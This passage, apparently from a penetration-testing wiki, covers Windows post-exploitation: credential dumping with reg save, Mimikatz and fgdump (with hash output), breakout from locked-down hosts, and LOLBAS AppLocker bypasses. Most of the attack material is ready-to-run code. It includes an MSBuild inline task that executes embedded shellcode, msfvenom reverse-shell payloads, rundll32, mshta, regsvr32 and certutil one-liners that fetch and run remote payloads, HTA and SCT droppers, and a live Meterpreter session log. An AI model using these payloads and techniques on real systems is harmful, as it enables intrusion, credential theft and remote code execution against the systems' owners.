[+] 10.10.10.15 - exploit/windows/local/ms14_070_tcpip_ioctl: The target appears to be vulnerable. 
[+] 10.10.10.15 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable. 
[+] 10.10.10.15 - exploit/windows/local/ms16_016_webdav: The target service is running, but could not be validated. 
[+] 10.10.10.15 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The target service is running, but could not be validated. 
[+] 10.10.10.15 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable. 
[+] 10.10.10.15 - exploit/windows/local/ms16_075_reflection_juicy: The target appears to be vulnerable. 
[+] 10.10.10.15 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable. 
[*] Post module execution completed 
```

## Weak service permissions

`exploit/windows/local/service_permissions`

## GPP

Decrypting passwords that are stored in the Group Policy Preferences can be done automatically though Metaasploit. The following post exploitation module will obtain and decrypt the cPassword from the Groups.xml file which is stored in the SYSVOL.&#x20;

`post/windows/gather/credentials/gpp`&#x20;


# Password Dumping

process of obtaining account login and password information, normally in the form of a hash or a clear text password.

## Manual

```
reg save hklm\sam c:\temp\sam.save
reg save hklm\security c:\temp\security.save
reg save hklm\system c:\temp\system.save
```

on our own host:

```
impacket-secretsdump -sam sam.save -security security.save -system system.save LoOCAL
```

## Mimikatz

Mimikatz is a leading post-exploitation tool that dumps passwords from memory, as well as hashes, PINs and Kerberos tickets.

Link: <https://github.com/gentilkiwi/mimikatz>

### **Quick usage**

Ask for debug privilege for mimikatz process. (have to be done first)&#x20;

`privilege::debug`&#x20;

**Clear screen**&#x20;

`Cls`&#x20;

**Exit mimikatz**

`Exit`&#x20;

### **Examples**

**Dump credentials:**&#x20;

```
privilege::debug  
sekurlsa::logonpasswords
```

&#x20;**Pass-The-Hash**&#x20;

`mimikatz # sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a`&#x20;

**Minidump**&#x20;

`mimikatz # sekurlsa::minidump lsass.dmp`&#x20;

**DCSync**&#x20;

`lsadump::dcsync /domain:pentestlab.local /user:test`&#x20;

## lsadump

This is an application to dump the contents of the LSA secrets on a machine, provided you are an Administrator. It uses the same technique as pwdump2 to bypass restrictions that Microsoft added to LsaRetrievePrivateData(), which cause the original lsadump to fail.&#x20;

Lsadump2 requires Administrator access to run. The usage for lsadump2 is shown here:&#x20;

`C:\>lsadump2.exe Lsadump2` - dump an LSA secret. Usage: lsadump2.exe \<pid of lsass.exe> \<secret>&#x20;

You will have to determine the PID of the lsass (just as with pwdump2):&#x20;

`C:\>tlist | find /i "lsass" 244 LSASS.EXE`&#x20;

## gsecdump

gsecdump is a publicly-available credential dumper used to obtain password hashes and LSA secrets from Windows operating systems.

Link: <https://download.openwall.net/pub/projects/john/contrib/win32/pwdump/gsecdump-0.7-win32.zip>

### example

`C:\Documents and Settings\nobody\Desktop>gsecdump -u gsecdump -u MSHOME\XPSP1VM$::aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::`

## FGDump

Cachedump aka In-memory attacks for SAM hashes / Cached Domain Credentials.

Example locally:

```
C:\Documents and Settings\malware\Bureau\fgdump-2.1.0-exeonly>fgdump.exe 
fgDump 2.1.0 - fizzgig and the mighty group at foofus.net 
Written to make j0m0kun's life just a bit easier 
Copyright(C) 2008 fizzgig and foofus.net 
fgdump comes with ABSOLUTELY NO WARRANTY! 
This is free software, and you are welcome to redistribute it 
under certain conditions; see the COPYING and README files for 
more information. 
--- Session ID: 2014-01-20-19-10-02 --- 
Starting dump on 127.0.0.1 
** Beginning local dump ** 
OS (127.0.0.1): Microsoft Windows XP Professional Service Pack 3 (Build 2600) 
Passwords dumped successfully 
Cache dumped successfully 
-----Summary----- 
Failed servers: 
NONE 
Successful servers: 
127.0.0.1 
Total failed: 0 
Total successful: 1 
```

fgdump has successfully dumped the password hashes:&#x20;

```
C:\Documents and Settings\malware\Bureau\fgdump-2.1.0-exeonly>more 127.0.0.1.pwdump 
Administrateur:500:B0347EB22B87E3F1AAD3B435B51404EE:711EFD7CDC285C11DDFAE2B3D9861DB1::: 
HelpAssistant:1000:6C34BBCD28DD6A8A56088AD6CEFC1BFB:D474527929F6B428B7EA2F7C8B79CE5A::: 
InvitÚ:501:NO PASSWORD*********************:NO PASSWORD*********************::: 
malware:1003:NO PASSWORD*********************:NO PASSWORD*********************::: 
SUPPORT_388945a0:1002:NO PASSWORD*********************:AAB42B496473C917825C842BEACF0B75:::
```

&#x20; Dumping the Local Machine Using a Different Account&#x20;

`fgdump.exe -h 127.0.0.1 -u AnAdministrativeUser` &#x20;

&#x20;Dumping a Remote Machine (192.168.0.10) Using a Specified User (1)&#x20;

&#x20;`fgdump.exe -h 192.168.0.10 -u AnAdministrativeUser -p l4mep4ssw0rd` &#x20;

## &#x20;pypykatz

Mimikatz implementation in pure Python.

**parsing lsass dump:**

```
pypykatz lsa minidump lsass.DMP
```


# Breakout

Gained access to a lockdown host and need to find way to escape the restrict shell?

## Methodology

### Gaining shell access

1. Check what software's you can access&#x20;
   1. Try common such as cmd, powershell, powershell\_ise, ftp and etc
   2. Try  to use alternatives to powershell and cmd such as PowerShdll and&#x20;
   3. Try explorer bar commands&#x20;
   4. [Check if you can access internet explorer, paint, excel, file explorer and etc ](/infrastructure-testing/breakout/windows-utilities)
2. [Check keyboard shortcuts ](/infrastructure-testing/breakout/windows-utilities#shortcuts)
3. Try to create a new file (Use the malicious[ HTA file](/infrastructure-testing/breakout/alternatives-to-command-prompt#hta-shell)) or a new shortcut and point it to a executable&#x20;
4. [Load files via a SMB share and execute them](/infrastructure-testing/enumeration/ipv6/transfering-files)
5. Windows 10 - try[ Cortana exploit ](/infrastructure-testing/breakout/windows-utilities#cortana)
6. Try and to copy powershell.exe or cmd.exe and change it to a different name and then run it&#x20;
7. Try and access \\\127.0.0.1\c$

### Once a shell was obtained

1. [Bypassing powershell restrictions](/infrastructure-testing/breakout/powershell-constrained-language-byass)
   1. If it's powershell try and download reverse shell and run it, if it's version 4 check if you can downgrade to powershell v2&#x20;
   2. Try to use Powershell alternatives (nps, powershelld and etc)&#x20;
2. Test if you can execute commands via[ LOLBAS](/infrastructure-testing/breakout/lolbas)&#x20;
3. Attempt [UAC Bypass](/infrastructure-testing/privilege-esclation/windows/uac-bypass) to gain administrative privileges&#x20;


# LOLBas

Living Off The Land Binaries And Scripts

**LOLBas** - Windows utilities

Project link:<https://lolbas-project.github.io/#>

## LOLBas

### rundll32

Rundll32 is a Microsoft binary that can execute code that is inside a DLL file. Since this utility is part of the Windows operating system it can be used as a method in order to bypass AppLocker rules or Software Restriction Policies. So if the environment is not properly lockdown and users are permitted to use this binary then they can write their own DLL’s and bypass any restrictions or execute malicious JavaScript code.&#x20;

#### Rundll32  - CMD&#x20;

In Windows systems that have locked the command prompt via an AppLocker rule it is possible to bypass this restriction by injecting a malicious DLL file into a legitimate process. Didier Stevens has released a modified version of cmd in the form of a DLL file by using an open source variant obtained from the ReactOS.&#x20;

Download the new cmd: <http://didierstevens.com/files/software/cmd-dll_v0_0_4.zip>&#x20;

Since the rundll32 is a trusted Microsoft utility it can be used to load the cmd.dll into a process, execute the code on the DLL and therefore bypass the AppLocker rule and open the command prompt. &#x20;

The following two commands can be executed from the Windows Run:&#x20;

`rundll32 C:\cmd.dll,EntryPoint`&#x20;

`rundll32 shell32.dll,Control_RunDLL C:\cmd.dll`&#x20;

#### Rundll32 – JavaScript&#x20;

It possible to utilize the rundll32 binary in order to execute JavaScript code that has an embedded payload and it hosted on a webserver. The Metasploit module web delivery can quickly create a webserver that will serve a specific payload (Python, PHP or PowerShell). In this case the payload will be PowerShell.&#x20;

Use: exploit/multi/script/web\_delivery&#x20;

Set LHOST as your IP, LPORT port, payload windows/meterperter/reverese\_tcp&#x20;

And run exploit, on the victim:&#x20;

`rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"` ![Rundll32 - JavaScript](https://firebasestorage.googleapis.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-M4xwp6Mq18nX8yR4M5z%2Fuploads%2FACQVJYx3VogdDeppHJfk%2Ffile.png?alt=media)

#### Rundll32 – Meterpreter&#x20;

The Metasploit Msfvenom can be used in order to create a custom DLL that will contain a meterpreter payload:&#x20;

`msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.100.3 LPORT=44444 -f dll -o pentestlab.dll`&#x20;

The utility rundll32 can then load and execute the payload that is inside the pentestlab.dll.&#x20;

`rundll32 shell32.dll,Control_RunDLL C:\Users\pentestlab.dll`&#x20;

\*Also can be used with certutil to encode the dll:&#x20;

&#x20;`certutil -encode TikiThings.dll TikiThings.enc`&#x20;

On target:&#x20;

`C:\> certutil -urlcache -split -f https://pastebin.com/raw/SAeR96bC TikiThings.enc`&#x20;

`C:\> certutil -decode TikiThings.enc TikiThings.dll`&#x20;

![Rundll32 - Injecting DLL into a Process](https://firebasestorage.googleapis.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-M4xwp6Mq18nX8yR4M5z%2Fuploads%2FdEnXIiBVL0IayhBJOZ1o%2Ffile.png?alt=media)

Source: <https://pentestlab.blog/tag/rundll32/>

### MSBuild

Originally MSBuild was introduced in order to enable developers to build products in environments where Visual Studio is not installed. Specifically this binary can compile XML C# project files since it has a method called Tasks that can execute a task which is written in a managed code. &#x20;

It is possible to use Metasploit MSFVenom in order to generate C# shellcode which it will be executed on the target system in order to obtain a Meterpreter session.&#x20;

**Use** [**unlock applocker** ](/infrastructure-testing/tools/unlock-applocker)**to generate payload automatic**&#x20;

#### Manually:

Generate payload:&#x20;

`msfvenom --platform windows -p windows/meterpreter/reverse_tcp lhost=10.10.10.1 lport=445 -f csharp -o meterpreter_445.cs -v shellcode`                                                    &#x20;

Append it to the following XML code:&#x20;

```
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- This inline task executes shellcode. -->
  <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
  <!-- Save This File And Execute The Above Command -->
  <!-- Author: Casey Smith, Twitter: @subTee --> 
  <!-- License: BSD 3-Clause -->
  <Target Name="Hello">
    <ClassExample />
  </Target>
  <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <Task>
    
      <Code Type="Class" Language="cs">
      <![CDATA[
        using System;
        using System.Runtime.InteropServices;
        using Microsoft.Build.Framework;
        using Microsoft.Build.Utilities;
        public class ClassExample :  Task, ITask
        {         
          private static UInt32 MEM_COMMIT = 0x1000;          
          private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;          
          [DllImport("kernel32")]
            private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
            UInt32 size, UInt32 flAllocationType, UInt32 flProtect);          
          [DllImport("kernel32")]
            private static extern IntPtr CreateThread(            
            UInt32 lpThreadAttributes,
            UInt32 dwStackSize,
            UInt32 lpStartAddress,
            IntPtr param,
            UInt32 dwCreationFlags,
            ref UInt32 lpThreadId           
            );
          [DllImport("kernel32")]
            private static extern UInt32 WaitForSingleObject(           
            IntPtr hHandle,
            UInt32 dwMilliseconds
            );          
          public override bool Execute()
          {
            byte[] shellcode = new byte[195] {
              0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
              0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
              0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
              0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
              0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
              0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
              0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
              0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
              0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
              0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
              0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
              0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
              0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x20,0x63,0x00 };
              
              UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
                MEM_COMMIT, PAGE_EXECUTE_READWRITE);
              Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
              IntPtr hThread = IntPtr.Zero;
              UInt32 threadId = 0;
              IntPtr pinfo = IntPtr.Zero;
              hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
              WaitForSingleObject(hThread, 0xFFFFFFFF);
              return true;
          } 
        }     
      ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>
```

upload to the victim:&#x20;

`iwr -uri` [`http://10.10.14.4/meterpreter.csproj`](http://10.10.14.4/meterpreter.csproj) `-outfile a.csproj`

Remote File Deployment:&#x20;

```
wmiexec.py <USER>:'<PASS>'@<RHOST> cmd.exe /c start %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe \\<attackerip>\<share>\msbuild_nps.xml
```

Make sure you run a meterpreter listerner:&#x20;

```
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp 
payload => windows/meterpreter/reverse_tcp 
msf5 exploit(multi/handler) > set lhost 192.168.17.130 
lhost => 192.168.17.130 
msf5 exploit(multi/handler) > set lport 443 
lport => 443 
msf5 exploit(multi/handler) > run 
```

Run:&#x20;

```
c:\Windows\Microsoft.NET\Framework\v4.0.30319>MSBuild.exe C:\Users\David\Desktop\exploit.csproj 
Microsoft (R) Build Engine version 4.7.3190.0 
[Microsoft .NET Framework, version 4.0.30319.42000] 
Copyright (C) Microsoft Corporation. All rights reserved. 
Build started 05/11/2019 14:08:15. 
```

Hola!&#x20;

```
[*] Started reverse TCP handler on 192.168.17.130:443  
[*] Sending stage (180291 bytes) to 192.168.17.1 
[*] Meterpreter session 1 opened (192.168.17.130:443 -> 192.168.17.1:24989) at 2019-11-05 14:08:16 +0000 
meterpreter > sysinfo 
Computer        : DESKTOP-41JRS1D 
OS              : Windows 10 (10.0 Build 17763). 
Architecture    : x64 
System Language : en_GB 
Domain          : WORKGROUP 
Logged On Users : 2 
Meterpreter     : x86/windows 
```

**FULL MSBuild shell**&#x20;

<https://github.com/Cn33liz/MSBuildShell&#x20>;

File Path:&#x20;

```
C:\Windows\Microsoft.NET\Framework\v2.0.50727\Msbuild.exe 
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Msbuild.exe 
C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe 
C:\Windows\Microsoft.NET\Framework64\v3.5\Msbuild.exe 
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe 
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Msbuild.exe 
```

#### Call MSBuild without msbuild&#x20;

[MSBuildAPICaller ](/infrastructure-testing/tools/msbuildapicaller)

### Installutil

Execute the target .NET DLL or EXE using the uninstall method:&#x20;

`InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll`&#x20;

#### **File path**

```
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe 
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe 
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe 
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe 
```

#### Metasploit&#x20;

There is a specific Metasploit module which can be used to bypass AppLocker via the InstallUtil method.&#x20;

`exploit/windows/local/applocker_bypass`&#x20;

This module will generate a .NET executable on the target system and it will utilize the InstallUtil binary to execute the payload bypassing the AppLocker protection.&#x20;

![](https://firebasestorage.googleapis.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-M4xwp6Mq18nX8yR4M5z%2Fuploads%2FXicKB0M4p2z5EJRgRmnl%2Ffile.png?alt=media)

### cmstp

CMSTP is a binary which is associated with the Microsoft Connection Manager Profile Installer. It accepts INF files which can be weaponised with malicious commands in order to execute arbitrary code in the form of scriptlets (SCT) and DLL. It is a trusted Microsoft binary which is located in the following two Windows directories.&#x20;

#### **File path**

`C:\Windows\System32\cmstp.exe`&#x20;

`C:\Windows\SysWOW64\cmstp.exe`&#x20;

Crete malicious dll:&#x20;

`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=443 -f dll > /root/tools/mitre/cmstp/evil.dll`&#x20;

Creating a file (f.inf) that will be loaded by CSMTP.exe binary that will in turn load our evil.dll:

```
[version] 
Signature=$chicago$ 
AdvancedINF=2.5 
[DefaultInstall_SingleUser] 
RegisterOCXs=RegisterOCXSection 
[RegisterOCXSection] 
C:\experiments\cmstp\evil.dll 
[Strings] 
AppAct = "SOFTWARE\Microsoft\Connection Manager" 
ServiceName="mantvydas" 
ShortSvcName="mantvydas" 
```

Invoking the payload:&#x20;

`PS C:\experiments\cmstp> cmstp.exe /s .\f.inf`&#x20;

Credit: <https://ired.team/offensive-security/code-execution/t1191-cmstp-code-execution>

### Regasm

Loads the target .DLL file and executes the UnRegisterClass function.&#x20;

`regasm.exe /U AllTheThingsx64.dll`&#x20;

Loads the target .DLL file and executes the RegisterClass function.&#x20;

`regasm.exe AllTheThingsx64.dll`&#x20;

File path:&#x20;

```
C:\Windows\Microsoft.NET\Framework\v2.0.50727\regsvcs.exe 
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\regsvcs.exe 
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe 
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe
```

### &#x20;Mshta

Executes code inside evilfile.hta.&#x20;

`mshta.exe C:\poc\evilfile.hta`&#x20;

Executes remote SCT file&#x20;

`mshta.exe javascript:a=GetObject("script:https://gist.github.com/someone/something.sct").Exec();close();`&#x20;

Executes hta file from external webserver&#x20;

`mshta.exe` [`http://webserver/payload.hta`](http://webserver/payload.hta)

Example:&#x20;

`mshta.exe` [`http://192.168.1.109:8080/pKz4Kk059Nq9.hta`](http://192.168.1.109:8080/pKz4Kk059Nq9.hta)

#### File path:&#x20;

```
C:\Windows\System32\mshta.exe 
C:\Windows\SysWOW64\mshta.exe
```

#### Example for hta:&#x20;

```
<HTML> 
<HEAD> 
Set objShell = CreateObject("Wscript.Shell") 
objShell.Run "powershell -noP -sta -w 1 -enc <BASE64 ENCODED EMPIRE STAGER>" 
</HEAD> 
<BODY> 
</BODY> 
</HTML>
```

#### Unicorn:&#x20;

`root@Kali:/opt/unicorn/# python /opt/unicorn/unicorn.py windows/meterpreter/reverse_tcp 172.20.10.3 4444 hta`&#x20;

SharpShooter&#x20;

`root@Kali:/opt/SharpShooter# python SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ~/Downloads/cobaltstrike_payloads/payload2.cs --sandbox 4 --smuggle --template mcafee`&#x20;

### hh

Binary used for processing chm files in Windows&#x20;

Paths:&#x20;

`C:\Windows\System32\hh.exe`&#x20;

`C:\Windows\SysWOW64\hh.exe`&#x20;

Download&#x20;

Open the target PowerShell script with HTML Help. \
`HH.exe` [`http://some.url/script.ps1`](http://some.url/script.ps1)

Execute&#x20;

Executes calc.exe with HTML Help. \
`HH.exe c:\windows\system32\calc.exe`&#x20;

### Regsvcs

Loads the target .DLL file and executes the UnRegisterClass function.&#x20;

`regsvcs.exe /U regsvcs.dll`&#x20;

Loads the target .DLL file and executes the RegisterClass function.&#x20;

`regsvcs.exe regsvcs.dll`&#x20;

File path:&#x20;

```
C:\Windows\Microsoft.NET\Framework\v2.0.50727\regsvcs.exe 
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\regsvcs.exe 
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe 
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe 
```

### Regsvr32

We will run a malicious sct file:&#x20;

```
<?XML version="1.0"?> 
<scriptlet> 
<registration 
  progid="TESTING" 
  classid="{A1112221-0000-0000-3000-000DA00DABFC}" > 
  <script language="JScript"> 
    <![CDATA[ 
      var foo = new ActiveXObject("WScript.Shell").Run("cmd /k cd c:\ & pentestlab.exe");  
    ]]> 
</script> 
</registration> 
</scriptlet> 
```

We need to host the back.sct on a web server so we can invoke it like so:&#x20;

`regsvr32.exe /s /i:http://10.0.0.5/back.sct scrobj.dll`&#x20;

#### Metasploit&#x20;

Metasploit Framework has a specific payload which can be used to bypass AppLocker via the Regsvr32 utility automatically.&#x20;

`exploit/windows/misc/regsvr32_applocker_bypass_server`&#x20;


# powershell constrained language byass

methods to bypass powershell constrained language mode

Constrained Language Mode in short locks down the nice features of Powershell usually required for complex attacks to be carried out.

To view if you are in ConstrainedLangauage:&#x20;

```
PS htb\amanda@SIZZLE v2.0.50727> $executioncontext.sessionstate.languagemode 
ConstrainedLanguage 
```

## Powershell2 downgrade

You can try and bypass by downgrading to powershell v2:   &#x20;

`powershell -version 2`&#x20;

## PSByPassCLM&#x20;

Download:  <https://github.com/padovah4ck/PSByPassCLM/blob/master/PSBypassCLM/PSBypassCLM/bin/x64/Debug/PsBypassCLM.exe>&#x20;

Upload that as a.exe and run:&#x20;

`PS htb\amanda@SIZZLE Documents> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U /revshell=true /rhost=10.10.14.4 /rport=443 \users\amanda\appdata\local\temp\a.exe`&#x20;


# Alternatives to command prompt

Different options to cmd and powershell

## HTA Shell

its text, so you could copy paste the text into notepad, save as a "shell.hta" using the quotes to enforce file extension&#x20;

then file open on notepad right click the shell.hta and open&#x20;

Code: <https://raw.githubusercontent.com/nccgroup/OneLogicalMyth_Shell/master/OneLogicalShell.hta>

## MSBuildShell

code: <https://github.com/Cn33liz/MSBuildShell>

execute:

```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\Scripts\MSBuildShell.csproj
```

## pshell

pshell is a msbuild that can execute powershell in the same terminal

```
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- This inline task executes c# code. -->
  <!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe pshell.xml -->
   <!-- Author: Casey Smith, Twitter: @subTee -->
  <!-- License: BSD 3-Clause -->
  <Target Name="Hello">
   <FragmentExample />
   <ClassExample />
  </Target>
  <UsingTask
    TaskName="FragmentExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <ParameterGroup/>
    <Task>
      <Using Namespace="System" />
	  <Using Namespace="System.IO" />
      <Code Type="Fragment" Language="cs">
        <![CDATA[
			    Console.WriteLine("Hello From Fragment");
        ]]>
      </Code>
    </Task>
	</UsingTask>
	<UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
	<Task>
	  <Reference Include="System.Management.Automation" />
      <Code Type="Class" Language="cs">
        <![CDATA[
		
			using System;
			using System.IO;
			using System.Diagnostics;
			using System.Reflection;
			using System.Runtime.InteropServices;

			//Add For PowerShell Invocation
			using System.Collections.ObjectModel;
			using System.Management.Automation;
			using System.Management.Automation.Runspaces;
			using System.Text;


			using Microsoft.Build.Framework;
			using Microsoft.Build.Utilities;
							
			public class ClassExample :  Task, ITask
			{
				public override bool Execute()
				{
					
					while(true)
					{
						
						Console.Write("PS >");
						string x = Console.ReadLine();
						try
						{
							Console.WriteLine(RunPSCommand(x));
						}
						catch (Exception e)
						{
							Console.WriteLine(e.Message);
						}
					}
					
								return true;
				}
				
				//Based on Jared Atkinson's And Justin Warner's Work
				public static string RunPSCommand(string cmd)
				{
					//Init stuff
					Runspace runspace = RunspaceFactory.CreateRunspace();
					runspace.Open();
					RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
					Pipeline pipeline = runspace.CreatePipeline();

					//Add commands
					pipeline.Commands.AddScript(cmd);

					//Prep PS for string output and invoke
					pipeline.Commands.Add("Out-String");
					Collection<PSObject> results = pipeline.Invoke();
					runspace.Close();

					//Convert records to strings
					StringBuilder stringBuilder = new StringBuilder();
					foreach (PSObject obj in results)
					{
						stringBuilder.Append(obj);
					}
					return stringBuilder.ToString().Trim();
				 }
				 
				 public static void RunPSFile(string script)
				{
					PowerShell ps = PowerShell.Create();
					ps.AddScript(script).Invoke();
				}
				
				
			}
			
			
 
			
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>
```

## Powershell Alternatives

### PowerShdll

Link:&#x20;

<https://github.com/p3nt4/PowerShdll>&#x20;

#### Example:&#x20;

`rundll32.exe PowerShdll.dll,main`&#x20;

#### dll mode:&#x20;

```
rundll32 PowerShdll,main <script> 
rundll32 PowerShdll,main -h      Display this message 
rundll32 PowerShdll,main -f <path>       Run the script passed as argument 
rundll32 PowerShdll,main -w      Start an interactive console in a new window (Default) 
rundll32 PowerShdll,main -i      Start an interactive console in this console 
```

If you do not have an interactive console, use -n to avoid crashes on output&#x20;

Alternatives (Credit to SubTee for these techniques):&#x20;

```
x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll 
x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll 
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShdll.dll 
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShdll.dll 
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShdll.dll 
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShdll.dll 
regsvr32 /s  /u PowerShdll.dll -->Calls DllUnregisterServer 
regsvr32 /s PowerShdll.dll --> Calls DllRegisterServer 
```

#### &#x20;exe mode&#x20;

Usage:&#x20;

```
PowerShdll.exe <script> 
PowerShdll.exe -h      Display this message 
PowerShdll.exe -f <path>       Run the script passed as argument 
PowerShdll.exe -i      Start an interactive console in this console (Default) 
```

Examples&#x20;

Run base64 encoded script&#x20;

`rundll32 Powershdll.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex`&#x20;

### PowerLine

Link: [https://github.com/fullmetalcache/PowerLine ](<https://github.com/fullmetalcache/PowerLine >)

### NPS

Not PowerShell - When powershell is blocked&#x20;

Link:  <https://github.com/Ben0xA/nps>&#x20;

#### Usage&#x20;

```
nps.exe "{powershell single command}" 
nps.exe "& {commands; semi-colon; separated}" 
nps.exe -encodedcommand {base64_encoded_command} 
nps.exe -encode "commands to encode to base64" 
nps.exe -decode {base64_encoded_command} 
```

**Single Commands:**&#x20;

```
 c:\Downloads>nps.exe Get-Date 
 12/18/2015 2:19:37 PM 
```

## CMD Alternatives

### cmd.dll

<https://blog.didierstevens.com/2010/02/04/cmd-dll/>

Example:

`rundll32.exe cmd.dll,main`&#x20;

### forfiles

The “forfiles” is a command utility which can select multiple files and run a command on them. It is typically used in batch jobs but it could be abused to execute an arbitrary command or an executable. The parameters “/p” and “/m” are used to perform a search in the windows directory “System32” and on the mask “calc.exe” even though the default search mask is \*. Anything after the “/c” parameter is the actual command that is executed.

`forfiles /p c:\windows\system32 /m calc.exe /c C:\tmp\metasploit.exe`

Credit:<https://pentestlab.blog/2020/07/06/indirect-command-execution/>

### pcalua

The program compatibility assistant is a windows utility that runs when it detects a software with compatibility issues. The utility is located in “C:\Windows\System32” and can execute commands with the “-a” argument.

`pcalua.exe -a C:\tmp\metasploit.exe`

### SyncAppvPublishingServer

The “SyncAppvPublishingServer” initiates the Microsoft application virtualization (App-V) publishing refresh operation. However it can be used as a non-directly method to execute commands for evasion. In the example below the execution occurs from PowerShell and the “Start-Process” cmdlet is used to run the executable.

`SyncAppvPublishingServer.vbs "n; Start-Process C:\tmp\metasploit.exe"`

It is also possible to execute a malicious payload from a remote location by using the “regsvr32” method since the “SyncAppvPublishingServer” will execute anything that is enclosed in the double quotes.

```
SyncAppvPublishingServer.vbs "Break; regsvr32 /s /n /u /i:http://192.168.254.158:8080/jnQl1FJ.sct scrobj.dll"
```

### explorer.exe

The “explorer.exe” can be utilized as a method of execution. Furthermore, the executed payload will create a process on the system that will have as a parent process “explore.exe” instead of “cmd.exe“.

```
explorer.exe C:\tmp\metasploit.exe 
explorer.exe /root,"C:\tmp\metasploit.exe" 
```


# Windows utilities

